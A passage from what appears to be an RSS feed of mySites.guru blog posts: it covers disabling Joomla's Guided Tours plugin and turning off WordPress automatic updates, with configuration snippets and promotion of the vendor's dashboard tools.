&lt;p&gt;Alternatively, you can toggle the status directly from the plugin list by clicking the green checkmark icon next to the plugin name to change it to a red X.&lt;/p&gt;
&lt;p&gt;You can verify it worked by checking that the &quot;Guided Tours&quot; menu item has disappeared from the Components menu and that no tour-related JavaScript loads on admin pages.&lt;/p&gt;
&lt;h3&gt;The manual approach doesn&apos;t scale&lt;/h3&gt;
&lt;p&gt;If you manage one Joomla site, the above takes thirty seconds. If you manage ten sites, it&apos;s five minutes of repetitive clicking. If you manage fifty or a hundred sites, you&apos;re spending a meaningful amount of time logging into admin panels just to disable a single plugin.&lt;/p&gt;
&lt;p&gt;And that&apos;s just the initial disable. What about after Joomla updates? What about new sites you add to your portfolio? What about sites where a well-meaning administrator re-enables it?&lt;/p&gt;
&lt;p&gt;The manual approach requires you to remember to check this setting on every site, every time. That&apos;s exactly the kind of repetitive, error-prone task that should be automated.&lt;/p&gt;
&lt;h2&gt;How mySites.guru detects the Guided Tours plugin&lt;/h2&gt;
&lt;p&gt;mySites.guru checks the Guided Tours plugin status as part of its &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot process&lt;/a&gt;. Every time a snapshot runs on a connected Joomla site (version 4.3.0 or later), the connector queries the Joomla extensions database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT count(*) FROM #__extensions
WHERE name = &apos;plg_system_guidedtours&apos; AND enabled = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the query returns 1, the plugin is enabled and the snapshot flags it. If it returns 0, the plugin is disabled and everything is green.&lt;/p&gt;
&lt;p&gt;This check runs automatically. You don&apos;t need to remember to look for it. The snapshot result appears in the Extension Information section alongside other plugin checks, showing you at a glance whether the Guided Tours plugin needs attention.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;The Guided Tours check is part of mySites.guru&apos;s broader &amp;lt;a href=&quot;/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot; class=&quot;text-blue-900 underline dark:text-blue-200&quot;&amp;gt;best practice audit&amp;lt;/a&amp;gt; for Joomla sites. It sits alongside checks for debug mode, error reporting, post-installation messages, and other configuration items that should be tightened on production sites.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;What the snapshot shows&lt;/h3&gt;
&lt;p&gt;In the mySites.guru dashboard, the Guided Tours check appears in the Extension Information section of your site&apos;s snapshot. You&apos;ll see one of two states:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OK&lt;/strong&gt; (green) - the plugin is disabled, no action needed&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Issue&lt;/strong&gt; (red) - the plugin is enabled and should be disabled on this production site&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The check also tracks changes between snapshots. If the plugin was disabled on the last snapshot but is now enabled (perhaps after a Joomla update or someone re-enabling it), the trend indicator shows the change so you can catch configuration drift immediately.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Joomla Guided Tours with mySites.guru?&lt;/h2&gt;
&lt;p&gt;Once the snapshot has identified that the Guided Tours plugin is enabled, you have two ways to fix it.&lt;/p&gt;
&lt;h3&gt;From the site snapshot&lt;/h3&gt;
&lt;p&gt;Click on the Guided Tours check in the Extension Information section. mySites.guru shows you the current state and provides a toggle to enable or disable the plugin remotely. Click the toggle, and the connector updates the plugin&apos;s status in the Joomla database directly - no need to log into the Joomla admin panel.&lt;/p&gt;
&lt;p&gt;The toggle works in both directions. If you need to temporarily re-enable the plugin (for training, testing, or onboarding), you can turn it back on from the same interface and disable it again when you&apos;re done.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;This is the same pattern used for other Joomla configuration toggles, like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;hiding post-installation messages&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;managing extensions&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;From the all-sites tool view&lt;/h3&gt;
&lt;p&gt;For managing the Guided Tours plugin across your entire portfolio, the all-sites tool view is more efficient. This view lists every connected Joomla site (4.3.0+) and shows the Guided Tours plugin status for each one.&lt;/p&gt;
&lt;p&gt;From this single screen you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See which sites have the plugin enabled and which have it disabled&lt;/li&gt;
&lt;li&gt;Sort and filter to find sites that need attention&lt;/li&gt;
&lt;li&gt;Toggle the plugin on or off for individual sites&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;ve just connected a batch of new Joomla sites to mySites.guru, the all-sites view lets you quickly scan for the Guided Tours plugin and disable it everywhere it shouldn&apos;t be running.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Why Does Plugin Hygiene Matter on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin is just one example of a broader principle: &lt;strong&gt;production Joomla sites should only run the plugins they actually need&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Joomla ships with a large number of system plugins enabled by default. Many of them are essential - authentication, session handling, content processing. But others are optional features that may not be relevant to every site.&lt;/p&gt;
&lt;p&gt;A disciplined approach to plugin management means:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Auditing what&apos;s enabled&lt;/strong&gt; - know which plugins are active on each site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disabling what&apos;s unused&lt;/strong&gt; - turn off plugins that don&apos;t serve a purpose on that specific site&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitoring for drift&lt;/strong&gt; - catch it when plugins get re-enabled unexpectedly&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documenting exceptions&lt;/strong&gt; - know why a plugin is enabled when the default recommendation is to disable it&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru automates steps 1 through 3. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you visibility into every extension on every site, and the snapshot checks flag the ones that deviate from best practice. And it&apos;s not just plugins - &lt;a href=&quot;https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/&quot;&gt;automatically removing fluff files after Joomla updates&lt;/a&gt; is another way to keep your sites lean.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;Want to see how your sites score across all best practice checks, not just Guided Tours? Run a &amp;lt;a href=&quot;/free-audit/&quot; class=&quot;text-green-900 underline dark:text-green-200&quot;&amp;gt;free audit&amp;lt;/a&amp;gt; on any Joomla site to get a full report covering security, performance, and configuration.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What Other Joomla Plugins Should You Review on Production Sites?&lt;/h2&gt;
&lt;p&gt;While you&apos;re looking at the Guided Tours plugin, here are other default Joomla plugins worth reviewing on production sites:&lt;/p&gt;
&lt;h3&gt;System - Debug&lt;/h3&gt;
&lt;p&gt;The debug plugin displays diagnostic information at the bottom of every page, including database queries, memory usage, and loaded language strings. Essential for development, terrible for production. mySites.guru checks this as part of the &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice audit&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;System - Statistics&lt;/h3&gt;
&lt;p&gt;Sends anonymous usage statistics to the Joomla project. Some site owners prefer to disable this for privacy or performance reasons.&lt;/p&gt;
&lt;h3&gt;Content - Email Cloaking&lt;/h3&gt;
&lt;p&gt;If your site doesn&apos;t display email addresses in content, this plugin runs regex on every page output for no reason. Disable it if you don&apos;t need it.&lt;/p&gt;
&lt;h3&gt;System - Debug Language&lt;/h3&gt;
&lt;p&gt;Shows untranslated language strings. Only useful during development when you&apos;re building or testing translations.&lt;/p&gt;
&lt;h3&gt;Content - Load Modules&lt;/h3&gt;
&lt;p&gt;Allows loading modules within article content using &lt;code&gt;{loadmodule}&lt;/code&gt; syntax. If you don&apos;t use this feature, it&apos;s scanning every article unnecessarily.&lt;/p&gt;
&lt;p&gt;The principle is always the same: if it&apos;s not serving a purpose on this specific site in production, disable it. Every disabled plugin is one fewer thing to load, one fewer thing to update, and one fewer potential attack vector. The same logic applies to features like &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Send Copy to Submitter&lt;/a&gt; in contact forms - if it&apos;s not needed, it&apos;s just another thing running for no reason.&lt;/p&gt;
&lt;h2&gt;Which Joomla Versions Include Guided Tours?&lt;/h2&gt;
&lt;p&gt;The Guided Tours feature was introduced in Joomla 4.3.0, released in April 2023. Version compatibility breakdown:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Joomla version&lt;/th&gt;
&lt;th&gt;Guided Tours status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 3.x&lt;/td&gt;
&lt;td&gt;Not available - no action needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4.0 - 4.2&lt;/td&gt;
&lt;td&gt;Not available - no action needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 4.3.0+&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 5.x&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla 6.x&lt;/td&gt;
&lt;td&gt;Present and enabled by default&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;mySites.guru&apos;s check only runs on Joomla 4.3.0 and later since earlier versions don&apos;t have the plugin. If you&apos;re managing a mixed portfolio of Joomla 3, 4, and 5 sites, the check automatically applies only to the sites where it&apos;s relevant.&lt;/p&gt;
&lt;p&gt;If you&apos;re still running Joomla 3 sites, the Guided Tours plugin isn&apos;t a concern - but you should be thinking about your &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration path to Joomla 4 or 5&lt;/a&gt; or considering the &lt;a href=&quot;https://mysites.guru/blog/joomla-6-technical-requirements/&quot;&gt;Joomla 6 technical requirements&lt;/a&gt; for your next upgrade cycle.&lt;/p&gt;
&lt;h2&gt;Performance impact: how much does it actually matter?&lt;/h2&gt;
&lt;p&gt;Let&apos;s be honest about the performance impact. Disabling the Guided Tours plugin on a single site isn&apos;t going to cut your page load time in half. We&apos;re talking about a few kilobytes of JavaScript and CSS, plus a small amount of PHP execution time on each admin page load.&lt;/p&gt;
&lt;p&gt;But performance optimisation on the admin panel is about the aggregate effect of many small improvements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Disable Guided Tours: saves a few KB of JS/CSS per page load&lt;/li&gt;
&lt;li&gt;Disable Debug plugin: saves significant output rendering&lt;/li&gt;
&lt;li&gt;Disable unused content plugins: saves regex processing on every article render&lt;/li&gt;
&lt;li&gt;Disable unused system plugins: saves PHP execution time on every request&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each one is small. Together, they make a noticeably snappier admin experience, especially on shared hosting where server resources are limited and PHP execution time is precious.&lt;/p&gt;
&lt;p&gt;For agencies managing dozens or hundreds of sites, this adds up further. If you have 100 Joomla sites and each admin session involves 50 page loads, and each page load saves 20ms from disabling unused plugins, that&apos;s 1 second per session, multiplied by however many admin sessions happen per day across all your sites. Not life-changing, but not nothing either.&lt;/p&gt;
&lt;p&gt;The bigger point is discipline: running lean configurations across your portfolio means fewer things to troubleshoot when something goes wrong.&lt;/p&gt;
&lt;h2&gt;Fitting this into your wider Joomla management workflow&lt;/h2&gt;
&lt;p&gt;Disabling the Guided Tours plugin is one small piece. The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; that detects it also captures dozens of other configuration checks, so run them regularly to keep your data current.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; cover debug settings, error reporting, SEF URLs, and more - Guided Tours is one item in that audit. The &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension management tools&lt;/a&gt; give you a broader view of every extension on every site, not just this one plugin.&lt;/p&gt;
&lt;p&gt;If you need to verify the change in Joomla&apos;s admin panel, &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click admin login&lt;/a&gt; gets you there without credentials. And just like &lt;a href=&quot;https://mysites.guru/blog/how-to-hide-joomla-post-installation-messages-on-1000-sites-with-one-click-with-mysites-guru/&quot;&gt;dismissing post-installation messages&lt;/a&gt; across hundreds of sites, the Guided Tours toggle works at scale from the dashboard.&lt;/p&gt;
&lt;h2&gt;Getting started&lt;/h2&gt;
&lt;p&gt;If you&apos;re already a mySites.guru subscriber, run a snapshot on your Joomla 4.3+ and Joomla 5 sites and check the Extension Information section for the Guided Tours check. If any sites show it as enabled, toggle it off from the dashboard.&lt;/p&gt;
&lt;p&gt;If you&apos;re not yet using mySites.guru, you can &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on any Joomla site to see all the best practice findings, including the Guided Tours plugin status. The audit covers security, configuration, and performance checks - the Guided Tours plugin is just one of many items it reviews.&lt;/p&gt;
&lt;p&gt;For a full overview of what mySites.guru offers for Joomla site management, check the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;The Guided Tours plugin has its place during onboarding and training. On production sites where everyone already knows Joomla, it&apos;s just extra JavaScript, CSS, and database queries on every admin page load for no benefit.&lt;/p&gt;
&lt;p&gt;Disabling it on one site takes thirty seconds. Keeping it disabled across a portfolio of sites, catching it when Joomla updates re-enable it, and maintaining consistent configuration across fifty or a hundred sites - that&apos;s where doing it manually falls apart.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s snapshot check catches it automatically, flags it, and gives you a one-click toggle. No logging into individual admin panels, no spreadsheet tracking which sites you&apos;ve already fixed.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://guide.joomla.org/user-manual/help/help-guided-tours&quot;&gt;Guided Tours - Joomla user manual&lt;/a&gt; - official docs on what guided tours do and how they work&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/april-2023/a-builder-s-guide-to-guided-tours&quot;&gt;A builder&apos;s guide to Guided Tours&lt;/a&gt; - Joomla Community Magazine walkthrough on creating custom tours, with CSS selectors and export methods&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5882-joomla-4-3-release.html&quot;&gt;Joomla 4.3.0 release announcement&lt;/a&gt; - the release that introduced Guided Tours&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre.html&quot;&gt;Joomla security advisories&lt;/a&gt; - official list of disclosed vulnerabilities, useful context for why reducing active plugins matters&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html&quot;&gt;OWASP attack surface analysis&lt;/a&gt; - the general security principle behind disabling unused features&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;This is one of many Joomla-specific tips in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>plugins</category><category>guided tours</category><category>performance</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/disable-joomla-guided-tours-plugin.CU2pVx2M.png" length="0" type="image/png"/></item><item><title>How to Stop Automatic Updates in WordPress with One Click</title><link>https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/</guid><description>WordPress auto-updates can break plugins, themes, and layouts without warning. Control updates across all your sites from one dashboard with mySites.guru.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What&apos;s the problem with WordPress automatic updates?&lt;/h2&gt;
&lt;p&gt;WordPress introduced automatic background updates in version 3.7. The idea was sound: keep sites patched without relying on site owners to apply updates by hand. For small personal blogs, it works fine most of the time.&lt;/p&gt;
&lt;p&gt;For anyone managing client sites, running WooCommerce stores, or operating sites where uptime matters, automatic updates are a different problem entirely.&lt;/p&gt;
&lt;p&gt;What can go wrong:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Major version upgrades&lt;/strong&gt; ship with database schema changes, new default behaviors, and deprecated functions. Plugins that worked yesterday might throw errors today.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Plugin and theme updates&lt;/strong&gt; triggered automatically can introduce bugs, change layouts, or conflict with other plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Updates during peak traffic&lt;/strong&gt; can cause temporary downtime while the update runs, especially on shared hosting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No rollback&lt;/strong&gt; - if an update breaks something at 3am, your site sits broken until someone notices and fixes it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The WordPress ecosystem moves fast. Plugin authors push updates frequently, and not every release is well-tested against every combination of other plugins and themes. Automatic updates mean you&apos;re trusting that every update, from every source, will work perfectly on your specific site configuration.&lt;/p&gt;
&lt;h2&gt;What is the WordPress AUTOMATIC_UPDATER_DISABLED constant?&lt;/h2&gt;
&lt;p&gt;WordPress controls automatic updates through the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant in &lt;code&gt;wp-config.php&lt;/code&gt;. When set to &lt;code&gt;true&lt;/code&gt;, it disables all automatic background updates (core, plugins, themes, and translations). This is one of several &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;WordPress debug and configuration constants&lt;/a&gt; that control site behaviour.&lt;/p&gt;
&lt;p&gt;To set it manually, you&apos;d SSH into your server, open &lt;code&gt;wp-config.php&lt;/code&gt;, and add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;AUTOMATIC_UPDATER_DISABLED&apos;, true);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then repeat that for every WordPress site you manage, remember which ones you&apos;ve changed, and make sure nobody reverts the change during a WordPress upgrade.&lt;/p&gt;
&lt;p&gt;For a single site, it&apos;s a two-minute task. For 30 sites, it&apos;s a headache. For 200 sites, it&apos;s a full afternoon.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru disable WordPress automatic updates in one click?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;WordPress Configuration audit&lt;/a&gt; reads &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; from wp-config.php on every connected site during each snapshot. If auto-updates are still enabled, the audit flags it.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click the fix button, and the connector plugin sets the constant to &lt;code&gt;true&lt;/code&gt; on the remote site. The next snapshot confirms it stuck. If someone (or something) reverts the change later, the audit catches it again.&lt;/p&gt;
&lt;p&gt;You can see the auto-update status of every WordPress site on one screen. No individual admin logins, no spreadsheets. If you&apos;re &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites&lt;/a&gt;, this alone saves hours of repetitive work.&lt;/p&gt;
&lt;h2&gt;How do WordPress filter hooks give you granular update control?&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;wp-config.php&lt;/code&gt; constants are the quickest way to disable auto-updates, but WordPress also provides filter hooks that give you more granular control. You can add these to your theme&apos;s &lt;code&gt;functions.php&lt;/code&gt; or a custom plugin (hat tip to &lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;Jeff Starr at DigWP&lt;/a&gt; for the thorough rundown):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_filter(&apos;automatic_updater_disabled&apos;, &apos;__return_true&apos;);
add_filter(&apos;auto_update_core&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_plugin&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_theme&apos;, &apos;__return_false&apos;);
add_filter(&apos;auto_update_translation&apos;, &apos;__return_false&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each filter targets a specific update type, so you can mix and match. For example, you could disable plugin and theme auto-updates while still allowing translation packs to update silently.&lt;/p&gt;
&lt;p&gt;For even finer core update control, WordPress offers three filters that break core updates into categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allow_dev_auto_core_updates&lt;/code&gt; - development/nightly builds&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_minor_auto_core_updates&lt;/code&gt; - security and maintenance releases (e.g. 6.4.1 to 6.4.2)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allow_major_auto_core_updates&lt;/code&gt; - major version jumps (e.g. 6.4 to 6.5)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to go further and stop WordPress from even checking for updates (saving HTTP requests on every admin page load), you can remove the check actions entirely:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;remove_action(&apos;admin_init&apos;, &apos;_maybe_update_core&apos;);
remove_action(&apos;admin_init&apos;, &apos;_maybe_update_plugins&apos;);
remove_action(&apos;admin_init&apos;, &apos;_maybe_update_themes&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is more aggressive than the filters above - it prevents WordPress from contacting the update servers at all, so you won&apos;t see available updates in the dashboard until you manually trigger a check. Use this only if you have another system (like mySites.guru) monitoring update availability for you.&lt;/p&gt;
&lt;h2&gt;Is there a better approach with WordPress minor updates only?&lt;/h2&gt;
&lt;p&gt;Disabling all automatic updates is one extreme. The other extreme is leaving everything on auto-pilot. There&apos;s a middle ground that works better for most professional setups.&lt;/p&gt;
&lt;p&gt;WordPress has a separate constant called &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; that lets you allow only minor (security/patch) updates while blocking major version upgrades. We&apos;ve written a &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;detailed guide to enforcing minor-only WordPress updates&lt;/a&gt; that covers the constant, how it interacts with &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;, and how mySites.guru manages both.&lt;/p&gt;
&lt;p&gt;Setting it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; means WordPress will still auto-apply security patches (like 6.4.1 to 6.4.2) but won&apos;t jump from 6.4 to 6.5 without your involvement. This is especially relevant with &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;WordPress 7.0&lt;/a&gt; (delayed from its original April 9 date while the team reworks real-time collaboration), which raises the PHP minimum to 7.4 and MySQL minimum to 8.0 - you don&apos;t want sites auto-updating to a version their server can&apos;t run. Use our &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-technical-requirements-check/&quot;&gt;WordPress 7 technical requirements checker&lt;/a&gt; to see which sites are ready.&lt;/p&gt;
&lt;p&gt;You can use both constants together for fine-grained control:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Disable the full auto-updater&lt;/strong&gt; to stop WordPress from updating plugins and themes automatically&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable minor-only core updates&lt;/strong&gt; to still receive security patches&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This gives you the safety net of security patches without the risk of untested major upgrades breaking your sites.&lt;/p&gt;
&lt;h2&gt;How do you manage updates deliberately?&lt;/h2&gt;
&lt;p&gt;Disabling automatic updates isn&apos;t the same as ignoring updates. You still need to keep WordPress, plugins, and themes current; you&apos;re just choosing to do it on your terms.&lt;/p&gt;
&lt;p&gt;With mySites.guru, you can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;See available updates across all connected sites in one place&lt;/li&gt;
&lt;li&gt;Spot which sites are behind on core, plugin, or theme versions&lt;/li&gt;
&lt;li&gt;Apply updates when you&apos;re ready, not when WordPress decides to&lt;/li&gt;
&lt;li&gt;Get &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;vulnerability alerts&lt;/a&gt; when a plugin has a known security issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keeping plugins up to date also reduces your attack surface. Outdated plugins are the number one way WordPress sites get compromised, and mySites.guru&apos;s vulnerability scanner cross-references your installed versions against threat databases twice a day. When you&apos;re ready to push updates across your portfolio, the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress tool&lt;/a&gt; lets you apply them to many sites at once without logging into each one.&lt;/p&gt;
&lt;p&gt;The workflow shifts from &quot;hope nothing breaks overnight&quot; to &quot;review what&apos;s available, test if needed, apply when ready.&quot;&lt;/p&gt;
&lt;h2&gt;How do you prevent unwanted WordPress plugin installs?&lt;/h2&gt;
&lt;p&gt;Controlling updates is half the equation. The other half is making sure nobody installs untested plugins on your managed sites in the first place.&lt;/p&gt;
&lt;p&gt;If you give clients wp-admin access, there&apos;s nothing stopping them from installing a random plugin that conflicts with your carefully maintained stack. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;detect and block unauthorized plugin installs&lt;/a&gt; so you stay in control of what runs on each site. You should also &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;remove default content like the Sample Page and Hello World post&lt;/a&gt; that ships with every WordPress install - it&apos;s another cleanup step the configuration audit handles automatically.&lt;/p&gt;
&lt;h2&gt;Who should disable WordPress automatic updates?&lt;/h2&gt;
&lt;p&gt;If you manage WordPress sites for clients or run sites where reliability matters, you need control over when updates happen. Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Agencies&lt;/strong&gt; managing client portfolios - a broken client site at 2am is a support ticket and a reputation hit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WooCommerce stores&lt;/strong&gt; - a plugin conflict during checkout means lost revenue&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Membership sites&lt;/strong&gt; - downtime means paying members can&apos;t access content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High-traffic sites&lt;/strong&gt; - updates during peak hours cause unnecessary load&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For personal blogs with no revenue impact, automatic updates are probably fine. For everything else, take control. If you&apos;re juggling more than a handful of sites, read our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;how to manage multiple WordPress sites like a pro&lt;/a&gt; for a broader look at the tools and workflows that make this manageable.&lt;/p&gt;
&lt;h2&gt;What about the Joomla equivalent?&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites alongside WordPress, Joomla 5.4+ and 6.0 introduced a similar feature: &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core upgrades that apply patches without admin action&lt;/a&gt;. mySites.guru lets you disable those from the same dashboard, so you have consistent update control across both CMS platforms.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://digwp.com/2026/03/disable-all-automatic-updates/&quot;&gt;How to Disable All Automatic Updates&lt;/a&gt; - Jeff Starr&apos;s comprehensive guide covering constants, filter hooks, and granular core update controls.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Upgrading WordPress -- Automatic Background Updates&lt;/a&gt; - Official WordPress documentation on how background updates work and how to configure them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants&lt;/a&gt; - Full reference for every constant you can set in wp-config.php, including update-related ones.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; - Developer documentation for the class that handles all automatic background updates in WordPress core.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
